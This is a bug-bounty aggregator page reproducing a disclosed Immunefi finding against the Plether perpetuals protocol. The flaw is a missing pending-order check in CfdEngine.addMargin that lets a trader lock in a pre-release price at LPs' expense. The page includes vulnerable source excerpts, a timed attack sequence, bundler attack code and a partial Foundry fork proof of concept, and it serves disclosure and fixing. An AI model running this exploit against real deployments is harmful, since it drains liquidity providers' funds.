Skip to content
Business logic Audit finding Advanced

Missing pending-order check in CfdEngine.addMargin lets a trader rescue an increase that fails its initial-margin check at its pinned price, leading to direct theft of user funds from LPs

The commit screen for a queued order previews only the live position and ignores the account's other pending orders, so a trader can queue a small increase ahead of a large one that only passes the initial-margin check because of the shared base margin. When the large order later fails its initial-margin check at its pinned price, the owner can call addMargin, which reads no pending orders, to rescue it and fill at the pre-release price, taking profit from the LP pool.

deltabear Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#98854 [SC-Critical] Missing pending-order check in CfdEngine.addMargin lets a trader rescue an increase that fails its initial-margin check at its pinned price, leading to direct theft of user funds from LPs

Submitted on Nov 10th 2026 at 15:17:00 UTC by @deltabear for Audit Competition | Plether

Description

Brief/Intro

An order fills at the first Pyth price after its commit, and anyone can execute it. The commit screen rejects an increase that would fail its initial-margin check, but it previews the live position only and ignores the same account's queued orders. So a trader queues a small increase first and then a large one margined to the commit-screen threshold. At the pinned price, once the small one has filled, the large one fails the initial-margin check. That failure ends the order for good, unless the owner first calls CfdEngine.addMargin, which is instant and reads no pending order. The trader now holds a free option on the pre-release price. I ran it on a fork of the deployed v2.0.0 at the US payrolls release of 6 November 2026, replaying that minute's keeper ticks and their signed Pyth prices. The trader arms 4,000,000 USDG one second before 13:30:00 and reads the release from public trades two seconds after it. It rescues the order at the pre-release price, closes on the next real tick, and withdraws 1,864.915179 USDG more than it put in. The LP pool ends 3,508.918763 USDG below the same window without the attacker. On the same release, the same option on the other side is declined and the deployment's own executor kills it for the 0.20 USDG bounty.

Vulnerability Details

  1. The attacker holds a thin base position, 10,000 USDG of notional with 3,000 USDG of margin. One second before a scheduled release it commits two same-side increases. The first is a 100,000 USDG pre-order. The second is the 4,000,000 USDG arm, margined to the commit-screen threshold plus 1 USDG. No user execution bound is set: minPostPositionEquityAssets = 0 and maxPostLeverageBps = type(uint32).max.
  2. The commit screen previews each open against the live position only (OrderLiquidationBatchLogic.sol:430-432). The queued-order projection in _queuedPosition (OrderLiquidationBatchLogic.sol:367-402) feeds only the opposing-side check (OrderLiquidationBatchLogic.sol:423-428). So both previews count the same base-margin excess, and both pass.
  3. The screen is the guard that should stop this. With a mark younger than the staleness limit it rejects predictably invalid opens (OrderLiquidationBatchLogic.sol:437-445). INSUFFICIENT_INITIAL_MARGIN is one of the codes classed as rejectable at commit (CfdEnginePlanLib.sol:85-93). In the run the stored mark is 31 s old, inside the 60 s limit, so the screen runs and lets the arm through.
  4. Both orders pin to the first unique Pyth update after the commit (PletherOracle.sol:610-614). The parsed basket stays the price even when storage holds newer prices (PletherOracle.sol:620-622). Router.executeOrder has no caller restriction (OrderRouter.sol:240-243).
  5. At the pinned price the pre-order fills first and spends the base excess. The arm then fails the post-open initial-margin check (CfdEnginePlanLib.sol:431-436). The failure is recorded as terminal PlannerRejected (OrderRouterExecutionSidecar.sol:846-853). The order is deleted as Failed, and its bounty is paid to the executor (OrderRouter.sol:304-311, :331-342).
  6. CfdEngine.addMargin checks only the caller, the amount and that a position exists (CfdEngine.sol:505-515). It then locks free settlement as position margin (CfdEngine.sol:520-523). It never reads the account's pending orders.
  7. After the release, one transaction executes the pre-order, calls addMargin(5,000 USDG) and executes the arm. The arm passes and fills at the pre-release pinned price.
  8. The deployment's executor finalizes failing heads too: the reference keeper has "No reward filter" (packages/perps-aa-client/src/keeperExecution.ts:21-28). So an adverse move costs the attacker the 0.20 USDG bounty, paid when the executor kills the order.
  9. The guarantee this breaks: "binding order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options" (SECURITY.md:658-659).

Vulnerable source code

1. the commit screen projects queued orders only for the opposing side, then previews the live position @ packages/perps/src/router/OrderLiquidationBatchLogic.sol:423-432

Solidity
        // Project the live position through earlier account orders before checking the requested side.
        QueuedPositionView memory queuedPosition = _queuedPosition(host, engine, account);
        uint8 opposingCode = uint8(CfdEnginePlanTypes.OpenRevertCode.MUST_CLOSE_OPPOSING);
        if (queuedPosition.exists && queuedPosition.side != side) {
            revert OrderRouter__PredictableOpenInvalid(opposingCode);
        }

        uint64 commitMarkTime = engine.lastMarkTime();
        uint8 revertCode =
            host.engineLensForCommit().previewOpenRevertCode(account, side, sizeDelta, marginDelta, commitPrice);

2. an initial-margin failure is meant to be rejected at commit @ packages/perps/src/libraries/CfdEnginePlanLib.sol:85-93

Solidity
                || code == CfdEnginePlanTypes.OpenRevertCode.SKEW_TOO_HIGH
                || code == CfdEnginePlanTypes.OpenRevertCode.INSUFFICIENT_INITIAL_MARGIN
                || code == CfdEnginePlanTypes.OpenRevertCode.SOLVENCY_EXCEEDED
                || code == CfdEnginePlanTypes.OpenRevertCode.INVALID_SIZE_QUANTUM
                || code == CfdEnginePlanTypes.OpenRevertCode.LIQUIDATION_RESERVE_UNFUNDED
                || code == CfdEnginePlanTypes.OpenRevertCode.VPI_REBATE_RESERVE_UNFUNDED
                || code == CfdEnginePlanTypes.OpenRevertCode.NUMERIC_DOMAIN_EXCEEDED
        ) {
            return CfdEnginePlanTypes.OpenFailurePolicyCategory.CommitTimeRejectable;

3. the initial-margin check at execution, on the post-queue position @ packages/perps/src/libraries/CfdEnginePlanLib.sol:431-436

Solidity
        if (
            postOpenRiskState.liquidatable
                || postOpenRiskState.equityAssets <= int256(openState.initialMarginRequirementAssets)
        ) {
            delta.revertCode = CfdEnginePlanTypes.OpenRevertCode.INSUFFICIENT_INITIAL_MARGIN;
            return delta;

4. the failure is terminal @ packages/perps/src/OrderRouterExecutionSidecar.sol:846-853

Solidity
            if (
                knownCode && category == uint256(expectedCategory)
                    && expectedCategory != CfdEnginePlanTypes.ExecutionFailurePolicyCategory.None
            ) {
                classification.terminal = true;
                classification.plannerFailure = true;
                classification.plannerIsClose = isClose == 1;
                classification.reason = OrderV3Types.TerminalReason.PlannerRejected;

5. addMargin: owner, amount and position checks, no pending-order check @ packages/perps/src/CfdEngine.sol:505-515

Solidity
        if (msg.sender != account) {
            revert CfdEngine__NotAccountOwner();
        }
        if (amount == 0) {
            revert CfdEngine__ZeroAmount();
        }
        StoredPosition storage pos = _positions[account];
        if (pos.lots == 0) {
            revert CfdEngine__NoOpenPosition();
        }

6. the fill is pinned to the first update after the commit @ packages/perps/src/PletherOracle.sol:610-614

Solidity
        uint64 minPublishTime = request.commitTime + 1;
        uint256 settlementDeadline = uint256(request.commitTime) + orderSettlementWindow;
        uint64 maxPublishTime = uint64(settlementDeadline < block.timestamp ? settlementDeadline : block.timestamp);
        try pyth.parsePriceFeedUpdatesUnique{value: pythFee}(
            pythUpdateData, pythFeedIds, minPublishTime, maxPublishTime

Impact Details

  • Impact row: "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield" (Critical). The attacker mints 60,000.000000 USDG and ends with 61,864.915179 USDG in its own wallet after it withdraws everything, +1,864.915179 USDG. HousePool.totalAssets ends 3,508.918763 USDG below the same window without the attacker, and Junior carries all of it (Senior 0). The treasury takes the other 1,644.003584 USDG as execution fees. 1,864.915179 + 1,644.003584 = 3,508.918763, to the atom, and the deployed USDG contract's own Transfer events show the same flows (Output).
  • The attacker needs no view on direction before the release. On the same release, the same option on the SHORT side is declined. The executor kills it at its 13:30:05 median, and that holder ends -235.539148 USDG. The same SHORT orders without the rescue end -8,816.584829 USDG. Both options held end +1,629.376031 USDG, against -6,952.061650 USDG for the same four orders without the option.
  • Everything is production state. The run forks the deployed v2.0.0 at block 326633764 and asserts the runtime code hash of all 15 manifest contracts and the DEPLOYMENT.md release configuration. It replays the three real keeper ticks of the window, and every fill uses a real signed Pyth payload taken from those ticks' own calldata, verified by the deployed Pyth contract. The book is the real one: 35.98M USDG net LONG on a 102.18M USDG pool.
  • The decision uses public data that had printed by then. Binance EUR/USDT, from the public daily trade file on data.binance.vision (sha256 equal to its published checksum), fell 8.05 bp by 13:30:02.300. 92% of the EUR traded since 13:30:00 was sold. A falling EUR/USD means a falling USD-quoted basket, and a LONG gains.
  • The exercise lands 3 s after the commit. On 6 November the deployment's only executor, 0x5a71a4094Ec81165Ada48AA4c27dA48ec27E0d6B, finalized 42 orders 3 to 9 s after commit, 40 of them at 4 s or later. The program: "Feasibility limitations do not change the impact or severity of a finding, only the amount paid for it."
  • Prerequisites, all permissionless: an open position, free margin (60,000 USDG in the run), a contract account that bundles addMargin and executeOrder, and a scheduled release. The arm is sized at 4,000,000 USDG, inside the 40% skew room the real book left.
  • The victim sees ordinary fills. The rescued arm is an Executed order at its own pinned price, and every LP pays pro rata through the pool's trading P&L.
  • It repeats at every release. Each account holds up to 5 pending orders (router.maxPendingOrders()), and an unexercised arm costs 0.20 USDG.
  • Dedup note.
    • HIGH-1 (SECURITY.md:701-713) is a commit after an already published price. Here the commit is at 13:29:59, before the 13:30:00 publication it pins to. The program's carve-out for a HIGH-1 report reads: "valid only with a proof of concept showing a repeatable, net-profitable extraction from LPs".
    • Cecuro MED-16 and LOW-57 ("Opens committed against a stale cached price, and the keeper bounty sized from it") need a stale mark. Here the mark is 31 s old, inside the limit, and the commit screen runs.
    • My report #98732 uses the same addMargin lever on two user-set bounds. This report needs no user bound: the check it beats is the protocol's own initial-margin check, which the commit screen is meant to enforce. The fix proposed in #98732 (guard addMargin while a pending order carries a nonzero minPostPositionEquityAssets or a finite maxPostLeverageBps) leaves this PoC unchanged, because both bounds are off here. The patch in the Low that #98732 was merged into changes how a VPI rebate-reserve increase is funded (CfdEnginePlanLib.sol:561-566). The LONG arm here adds skew, so it has no rebate-reserve increase.
    • Fix: reject addMargin while the account has a pending open.

References

Commit screen

  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:367-402 - _queuedPosition, the queued-order projection
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:423-428 - the projection used only for the opposing-side check
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:430-432 - the preview on the live position
  • packages/perps/src/router/OrderLiquidationBatchLogic.sol:437-445 - predictably invalid opens rejected while the mark is fresh
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:85-93 - INSUFFICIENT_INITIAL_MARGIN is CommitTimeRejectable

Execution and the terminal failure

  • packages/perps/src/libraries/CfdEnginePlanLib.sol:431-436 - the initial-margin check at execution
  • packages/perps/src/OrderRouterExecutionSidecar.sol:846-853 - recorded as terminal PlannerRejected
  • packages/perps/src/OrderRouter.sol:304-311 - terminal order deleted with status Failed
  • packages/perps/src/OrderRouter.sol:331-342 - the failed order's bounty paid to the executor
  • packages/perps-aa-client/src/keeperExecution.ts:21-28 - the keeper has no reward filter

The owner's lever

  • packages/perps/src/CfdEngine.sol:501-529 - addMargin, no pending-order check

Pinned fill

  • packages/perps/src/PletherOracle.sol:610-614 - first unique update after the commit
  • packages/perps/src/PletherOracle.sol:620-622 - the parsed basket stays the price
  • packages/perps/src/OrderRouter.sol:240-243 - executeOrder, no caller restriction

Guarantee and known issues

  • packages/perps/SECURITY.md:658-659 - no free options from queued intents
  • packages/perps/SECURITY.md:701-713 - HIGH-1, commit after an already published price
  • packages/perps/SECURITY.md:1349-1352 - stale cached marks at commitment (MED-16, LOW-57)
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:561-566 - VPI rebate-reserve funding, the site of the Low's patch

Deployment

  • deployments/releases/2026-10-28-perps-arbitrum-sepolia-v2.0.0/manifest.json - the 15 runtime code hashes the PoC asserts
  • packages/perps/DEPLOYMENT.md - the release parameters the PoC asserts

Link to Proof of Concept

https://gist.github.com/decies-centena-millia/76fc42461a104f28930ba826871d37df

Proof of Concept

Proof of Concept

One Foundry test file forks the deployed v2.0.0 on Arbitrum Sepolia 40 s before the 6 November 2026 payrolls release and replays the window's three real keeper ticks. It runs six scenarios from one snapshot: the LONG option exercised, the same option with the executor first, the same LONG orders without the option, the SHORT option declined, the same SHORT orders without the option, and a baseline with no attacker. The deployed contracts produce every number. Files: https://gist.github.com/decies-centena-millia/76fc42461a104f28930ba826871d37df

Bash
mkdir -p packages/perps/test/poc && cp AddMarginRescueNfpForkPoC.t.sol packages/perps/test/poc/ && cd packages/perps && forge test --match-path test/poc/AddMarginRescueNfpForkPoC.t.sol --skip 'test/perps/**' --skip 'script/**' --skip 'src/**' -vv

attack step-by-step

  1. 13:29:27 UTC. ATTACKER deploys its account and bundler, mints 60,000 USDG from the testnet faucet, deposits it and commits a 10,000 USDG LONG base with 3,000 USDG of margin. The bundler fills it on the 13:29:28 real tick.
  2. 13:29:59. The account commits a 100,000 USDG LONG pre-order and then the 4,000,000 USDG LONG arm, with margin 25,541.280849 USDG, the deployed lens's commit-screen threshold plus 1 USDG. The stored mark is 31 s old, the commit screen runs, and both orders pin to the 13:30:00 publication.
  3. 13:30:00. The payrolls number prints. By 13:30:02.300, Binance EUR/USDT is 8.05 bp below its last pre-release trade.
  4. 13:30:02, 3 s after the commit. One bundler transaction executes the pre-order, calls CfdEngine.addMargin(5,000 USDG) and executes the arm. The arm fills at 96,316,305, the 13:30:00 pinned price.
  5. 13:30:34. The account commits a full close. At 13:30:38 the bundler fills it on the 13:30:35 real tick, at 96,194,628. ATTACKER withdraws the account and the bundler to its wallet.

main Attack code

Solidity
// commit: the arm is margined to the commit-screen threshold, behind a same-side pre-order that spends the base excess
a.preId = _commit(side, a.preSize, _minMargin(side, a.preSize, px) + PRE_BUFFER, false);
a.armId = _commit(side, a.armSize, _minMargin(side, a.armSize, px) + ARM_DELTA, false);

// one transaction after the release: execute the pre-order, lift the margin, execute the arm at its pinned price
c[0] = _execCall(a.preId, pin);
c[1] = NfpBundler.Call(address(acct), abi.encodeCall(NfpOptionAccount.addMargin, (RESCUE)));
c[2] = _execCall(a.armId, pin);
bundler.run(c);
plant : a same-side pre-order queued ahead of an increase margined to the commit-screen threshold
fire  : CfdEngine.addMargin and Router.executeOrder with the pinned update, in one transaction, after the release

full poc code, single file, single runnable command

Foundry: forge 1.8.5 (51a52c59), solc 0.8.35, the repo's default packages/perps/foundry.toml profile (via_ir = true, optimizer 200 runs). The libraries are at the submodule commits a82d4fef pins (forge-std f5495c9b, morpho-blue 55d2d993, openzeppelin-contracts fcbae539). RPC: ARB_SEPOLIA_RPC_URL, default https://arbitrum-sepolia.gateway.tenderly.co (any Arbitrum Sepolia archive endpoint).

AddMarginRescueNfpForkPoC.t.sol, placed at packages/perps/test/poc/AddMarginRescueNfpForkPoC.t.sol. It imports only CfdTypes, OrderV3Types and IOrderRouterAccounting from the repo. Command, from the repo root at a82d4fef:

Bash
mkdir -p packages/perps/test/poc && cp AddMarginRescueNfpForkPoC.t.sol packages/perps/test/poc/ && cd packages/perps && forge test --match-path test/poc/AddMarginRescueNfpForkPoC.t.sol --skip 'test/perps/**' --skip 'script/**' --skip 'src/**' -vv
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

// Fork of the deployed Plether perps v2.0.0 (Arbitrum Sepolia) at block 326633764, Fri 2026-11-06 13:29:20 UTC, 40 s before
// the US payrolls release. The three real keeper ticks of the window are replayed with vm.transact, and every fill uses
// a real signed Pyth payload taken from those ticks' own calldata.
// From packages/perps at a82d4fef:
//   forge test --match-path test/poc/AddMarginRescueNfpForkPoC.t.sol --skip 'test/perps/**' --skip 'script/**' --skip 'src/**' -vv

import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IOrderRouterAccounting} from "@plether/perps/interfaces/IOrderRouterAccounting.sol";
import {Test} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {console2} from "forge-std/console2.sol";

interface IArbSysBlockNumber {
    function arbBlockNumber() external view returns (uint256);
}

/// @dev MockUSDG, the deployed testnet settlement token. Its `mint` is public.
interface IUSDG {
    function mint(address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IEngine {
    function lastMarkPrice() external view returns (uint256);
    function lastMarkTime() external view returns (uint64);
    function sides(uint256 index) external view returns (uint256, uint256, uint256, uint256);
    function riskParams()
        external
        view
        returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256);
    function executionFeeBps() external view returns (uint256);
    function settlementBufferBps() external view returns (uint256);
    function frozenCloseSpreadBps() external view returns (uint256);
    function fadRunwaySeconds() external view returns (uint256);
    function isFadWindow() external view returns (bool);
    function isOracleFrozen() external view returns (bool);
    function protocolTreasury() external view returns (address);
    function positions(address account)
        external
        view
        returns (uint256, uint256, uint256, uint256, CfdTypes.Side, uint64, int256);
    function addMargin(address account, uint256 amount) external;
}

interface IRouter {
    function commitOrder(OrderV3Types.OrderRequest calldata request) external returns (uint64 orderId);
    function executeOrder(uint64 orderId, bytes[] calldata pythUpdateData)
        external
        payable
        returns (OrderV3Types.ExecutionResult memory result);
    function maxExecutionWindowSeconds() external view returns (uint256);
    function minOpenNotionalAssets() external view returns (uint256);
    function maxPendingOrders() external view returns (uint256);
    function getPendingOrderView(uint64 orderId)
        external
        view
        returns (IOrderRouterAccounting.PendingOrderView memory pending, uint64 nextAccountOrderId);
}

interface ILens {
    function previewOpenRevertCode(address, CfdTypes.Side, uint256, uint256, uint256) external view returns (uint8);
}

interface IPool {
    function totalAssets() external view returns (uint256);
    function maxSeniorExposureAssets() external view returns (uint256);
    function maxSeniorShareBps() external view returns (uint256);
    function lpEpochSettlementPaused() external view returns (bool);
}

interface IOracle {
    function getUpdateFee(bytes[] calldata pythUpdateData) external view returns (uint256);
    function basketMaxConfidenceRatioBps() external view returns (uint256);
    function adverseConfidenceMultiplierBps() external view returns (uint256);
}

interface IClearinghouse {
    function deposit(address account, uint256 amount) external;
    function withdraw(address account, uint256 amount) external;
    function balanceAssets(address account) external view returns (uint256);
    function getFreeBuyingPowerAssets(address account) external view returns (uint256);
}

interface IBook {
    function currentExecutionConfigHash() external view returns (bytes32);
}

interface IVault {
    function totalAssets() external view returns (uint256);
    function maintenanceFeeAprBps() external view returns (uint256);
}

/// @dev Generated by provenance/gen_solidity_data.py. Tick input hashes are keccak256 of the `input` of the real
///      transactions (provenance/txs/<hash>.json). Binance rows are every EUR/USDT aggregate trade
///      with transact_time in [13:29:59.000000, 13:30:02.300000] UTC from data.binance.vision
///      spot/daily/aggTrades/EURUSDT/EURUSDT-aggTrades-2026-11-06.zip (sha256 1fde69955b98c4d53b9c4093f99472971c0990dde717c0a8c06dab5f2de04ca5, equal to its
///      published .CHECKSUM; CSV sha256 58b8903fe561d7dc5220d8c970373cbccf864724c9635e16867dfe4391fcd890). Columns: aggTradeId, price x 1e4, quantity x 10, transact_time (us), isBuyerMaker.
abstract contract AddMarginRescueNfpData {
    struct Trade {
        uint64 aggTradeId;
        uint32 priceE4;
        uint64 qtyE1;
        uint64 timeUs;
        bool isBuyerMaker;
    }

    /// @dev keccak256 of the `input` of real keeper tick 0xfdc294390dd2a6a8e6c476b60a294a3b44056807a6f498e9e6baeb5214be3d32 (block 326633813).
    bytes32 internal constant TICK1_INPUT_HASH = 0x08277947fc22352d372429a76a286f4c2654c153e909e2acc8d95f743cb6355f;
    /// @dev keccak256 of the `input` of real keeper tick 0x989b88cdaf4ccdccd8203c6a7f2f7b6739c1484ea3e64a81ecdccb5c2136938e (block 326633933).
    bytes32 internal constant TICK2_INPUT_HASH = 0x476150a0a45869c6ddb8aed43f610a49d375a53b8d8c5faff85e04416f99bd98;
    /// @dev keccak256 of the `input` of real keeper tick 0xfc1dc075d626b164b44ce4024e2d4a35faeecfbc8f549955115eb721f06f361f (block 326634054).
    bytes32 internal constant TICK3_INPUT_HASH = 0x435cd8e699a4264612ce1403b03c6e156ead112c1db748277c5a734167434ce4;

    uint256 internal constant BINANCE_ROWS = 57;

    function _binanceEurUsdt() internal pure returns (Trade[] memory t) {
        t = new Trade[](57);
        t[0] = Trade(140905652, 11177, 2915, 1793971799039409, false);
        t[1] = Trade(140905653, 11177, 211, 1793971799943376, false);
        t[2] = Trade(140905654, 11176, 1099, 1793971800776620, false);
        t[3] = Trade(140905655, 11176, 6652, 1793971801089782, false);
        t[4] = Trade(140905656, 11175, 27239, 1793971801135067, true);
        t[5] = Trade(140905657, 11175, 213, 1793971801141387, true);
        t[6] = Trade(140905658, 11176, 1099, 1793971801142542, false);
        t[7] = Trade(140905659, 11177, 2527, 1793971801142542, false);
        t[8] = Trade(140905660, 11177, 4518, 1793971801143709, false);
        t[9] = Trade(140905661, 11178, 1443, 1793971801143709, false);
        t[10] = Trade(140905662, 11175, 105000, 1793971801147528, true);
        t[11] = Trade(140905663, 11178, 5523, 1793971801149219, false);
        t[12] = Trade(140905664, 11176, 435, 1793971801169867, false);
        t[13] = Trade(140905665, 11176, 1951, 1793971801171859, false);
        t[14] = Trade(140905666, 11178, 3905, 1793971801171859, false);
        t[15] = Trade(140905667, 11175, 6811, 1793971801184227, true);
        t[16] = Trade(140905668, 11174, 63838, 1793971801184227, true);
        t[17] = Trade(140905669, 11173, 6595, 1793971801184227, true);
        t[18] = Trade(140905670, 11178, 5991, 1793971801200978, false);
        t[19] = Trade(140905671, 11178, 3325, 1793971801255789, false);
        t[20] = Trade(140905672, 11174, 44747, 1793971801283667, true);
        t[21] = Trade(140905673, 11173, 89502, 1793971801283667, true);
        t[22] = Trade(140905674, 11172, 24779, 1793971801283667, true);
        t[23] = Trade(140905675, 11171, 15550, 1793971801283667, true);
        t[24] = Trade(140905676, 11174, 2744, 1793971801473946, true);
        t[25] = Trade(140905677, 11174, 894, 1793971801541179, true);
        t[26] = Trade(140905678, 11174, 5166, 1793971801576039, true);
        t[27] = Trade(140905679, 11174, 108, 1793971801582623, true);
        t[28] = Trade(140905680, 11174, 12330, 1793971801594414, true);
        t[29] = Trade(140905681, 11174, 74, 1793971801674612, true);
        t[30] = Trade(140905682, 11174, 280, 1793971801685539, true);
        t[31] = Trade(140905683, 11174, 27116, 1793971801726301, true);
        t[32] = Trade(140905684, 11178, 5900, 1793971801747272, false);
        t[33] = Trade(140905685, 11179, 6200, 1793971801747272, false);
        t[34] = Trade(140905686, 11180, 5059, 1793971801747272, false);
        t[35] = Trade(140905687, 11180, 4025, 1793971801753336, false);
        t[36] = Trade(140905688, 11181, 56, 1793971801782702, false);
        t[37] = Trade(140905689, 11174, 27119, 1793971801788065, true);
        t[38] = Trade(140905690, 11174, 883, 1793971801821523, true);
        t[39] = Trade(140905691, 11174, 421, 1793971801873819, true);
        t[40] = Trade(140905692, 11174, 57106, 1793971802003822, true);
        t[41] = Trade(140905693, 11173, 15737, 1793971802003822, true);
        t[42] = Trade(140905694, 11172, 2292, 1793971802003822, true);
        t[43] = Trade(140905695, 11171, 116226, 1793971802003822, true);
        t[44] = Trade(140905696, 11170, 61052, 1793971802003822, true);
        t[45] = Trade(140905697, 11169, 9271, 1793971802003822, true);
        t[46] = Trade(140905698, 11178, 10840, 1793971802062709, false);
        t[47] = Trade(140905699, 11172, 1342, 1793971802075138, true);
        t[48] = Trade(140905700, 11174, 8940, 1793971802085748, true);
        t[49] = Trade(140905701, 11172, 7511, 1793971802098225, true);
        t[50] = Trade(140905702, 11172, 1342, 1793971802104317, true);
        t[51] = Trade(140905703, 11170, 44763, 1793971802106342, true);
        t[52] = Trade(140905704, 11169, 10671, 1793971802106342, true);
        t[53] = Trade(140905705, 11172, 1342, 1793971802135472, true);
        t[54] = Trade(140905706, 11172, 269, 1793971802173413, true);
        t[55] = Trade(140905707, 11170, 6200, 1793971802212093, true);
        t[56] = Trade(140905708, 11168, 1051, 1793971802279323, true);
    }
}

/// @notice The attacker's trading account, driven by its owner EOA and the owner's bundler.
contract NfpOptionAccount {
    address public immutable owner;
    address public immutable bundler;
    IRouter internal immutable router;
    IEngine internal immutable engine;
    IClearinghouse internal immutable clearinghouse;
    IUSDG internal immutable usdg;

    constructor(address bundler_, address router_, address engine_, address clearinghouse_, address usdg_) {
        owner = msg.sender;
        bundler = bundler_;
        router = IRouter(router_);
        engine = IEngine(engine_);
        clearinghouse = IClearinghouse(clearinghouse_);
        usdg = IUSDG(usdg_);
    }

    modifier auth() {
        require(msg.sender == owner || msg.sender == bundler, "auth");
        _;
    }

    function fund(uint256 amount) external auth {
        usdg.transferFrom(owner, address(this), amount);
        usdg.approve(address(clearinghouse), amount);
        clearinghouse.deposit(address(this), amount);
    }

    function commit(OrderV3Types.OrderRequest calldata request) external auth returns (uint64 orderId) {
        orderId = router.commitOrder(request);
    }

    /// @dev CfdEngine.addMargin requires msg.sender == account.
    function addMargin(uint256 amount) external auth {
        engine.addMargin(address(this), amount);
    }

    function withdrawAll() external auth {
        uint256 free = clearinghouse.getFreeBuyingPowerAssets(address(this));
        if (fr

The original report as published on Immunefi, by deltabear. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the commit-time preview projects queued orders only for the opposing-side check and previews the live position otherwise, while addMargin has no pending-order guard, so a queued increase can be rescued after it fails its execution-time initial-margin check.

Impact

The attacker could withdraw about 1,864.92 USDG more than deposited while the LP pool ends about 3,508.92 USDG lower, though an adverse move costs only the 0.20 USDG executor bounty.

What the attacker needed

An open position; free margin (60,000 USDG in the run); a contract account bundling calls; a scheduled price release

The fix

addMargin should be rejected while the account has a pending open order.

How it was found

  1. Commit a small base position and then two same-side increases, the second margined to the commit-screen threshold.
  2. Wait for the scheduled release so the pinned price moves in the trader's favour.
  3. In one transaction, execute the pre-order, call addMargin, and execute the large increase at its pinned price.
  4. Close the position on a later tick and withdraw the profit.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A trader can place two orders in a row. The system checks each one against the current position but not against the other waiting order, so both look safe. When the second order later turns out to be too risky, the trader can quickly add money to keep it alive and lock in a price from before a market-moving news release, which costs the liquidity providers money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by deltabear

View all

30 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.